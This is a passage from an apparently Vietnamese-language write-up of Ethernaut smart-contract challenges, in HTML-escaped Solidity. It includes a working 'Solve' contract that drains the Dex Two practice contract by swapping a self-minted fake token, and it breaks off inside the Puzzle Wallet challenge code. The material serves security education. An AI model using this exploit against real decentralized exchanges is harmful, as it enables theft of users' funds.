&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getSwapAmount&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="k">from&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">amount&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)))&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">spender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SwappableTokenTwo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token1&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">spender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SwappableTokenTwo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token2&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">spender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">token&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">account&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">account&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">SwappableTokenTwo&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">ERC20&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="n">_dex&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">dexInstance&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">string&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="nb">name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">string&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="n">symbol&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">initialSupply&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">symbol&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_mint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">initialSupply&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_dex&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">dexInstance&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">owner&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">spender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">owner&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">_dex&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;InvalidApprover&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">super&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">_approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">owner&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">spender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Challenge yêu cầu ta rút hết token 1 và token 2 từ server contract.
Trong bài này, ta chú ý rằng hàm &lt;code>swap()&lt;/code> không kiểm tra token sử dụng có phải là token của contract hay không, nên ta suy nghĩ đến việc tạo ra một token mới. Khi đó, ta có thể điều khiển được liquidity của dex.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/dex2.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">DexTwo&lt;/span> &lt;span class="n">Idex&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">token1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">token2&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">token3&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getInstance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Idex&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">DexTwo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Idex&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">token1&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Idex&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">token2&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">solve&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SwappableTokenTwo&lt;/span> &lt;span class="n">Token3&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">SwappableTokenTwo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Idex&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">100000&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token3&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Token3&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Token3&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Idex&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">100000&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Token3&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Idex&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Idex&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">swap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">token1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Idex&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">swap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">token2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="puzzle-wallet">Puzzle Wallet&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">pragma experimental&lt;/span> &lt;span class="n">ABIEncoderV2&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;github/OpenZeppelin/ethernaut/contracts/src/helpers/UpgradeableProxy-08.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">PuzzleProxy&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">UpgradeableProxy&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">pendingAdmin&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">admin&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_admin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">_implementation&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">bytes&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="n">_initData&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">UpgradeableProxy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_implementation&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_initData&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">admin&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_admin&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">onlyAdmin&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">admin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Caller is not the admin&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">proposeNewAdmin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_newAdmin&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pendingAdmin&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_newAdmin&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">approveNewAdmin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_expectedAdmin&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="n">onlyAdmin&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pendingAdmin&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">_expectedAdmin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Expected new admin by the current admin is not the pending admin&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">admin&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pendingAdmin&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">upgradeTo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_newImplementation&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="n">onlyAdmin&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_upgradeTo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_newImplementation&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">receive&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">PuzzleWallet&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">owner&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">maxBalance&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">mapping&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="kt">bool&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">whitelisted&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">mapping&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">balances&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">init&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">_maxBalance&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">maxBalance&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Already initialized&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">maxBalance&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_maxBalance&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">owner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">onlyWhitelisted&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">whitelisted&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="s">&amp;#34;Not whitelisted&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">setMaxBalance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">_maxBalance&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="n">onlyWhitelisted&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">balance&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Contract balance is not 0&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">maxBalance&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_maxBalance&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">addToWhitelist&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">addr&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">owner&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Not the owner&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">whitelisted&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">addr&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
